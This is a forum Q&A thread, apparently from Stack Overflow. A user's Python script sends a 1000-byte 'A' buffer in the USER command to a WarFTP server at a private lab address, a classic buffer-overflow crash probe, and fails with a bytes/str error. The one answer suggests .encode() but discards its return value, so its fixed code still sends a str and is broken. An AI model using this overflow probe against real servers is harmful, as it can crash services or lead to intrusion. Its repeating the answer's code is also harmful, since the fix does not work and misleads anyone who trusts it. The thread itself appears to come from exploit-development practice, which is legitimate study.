-2

I keep getting the error when I try to connect to the ftp server:

a bytes like object is required not str

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "\x41" * 1000
s.connect(('192.168.43.129',2222))
data = s.recv(1024)
print ("Sending data to WarFTP...")
s.send('USER '+buffer+'\r\n')
data = s.recv(1024)

s.send(' PASS PASSWORD '+'\r\n')
s.close()
print ("Finish")
gre_gor
  • 6,669
  • 9
  • 47
  • 52

1 Answers1

0

You need to encode your string with .encode().

buffer = "\x41" * 1000
data_to_send = 'USER ' + buffer + '\r\n'
data_to_send.encode()
s.send(data_to_send)

Some documentation you may find useful

NicoCaldo
  • 1,171
  • 13
  • 25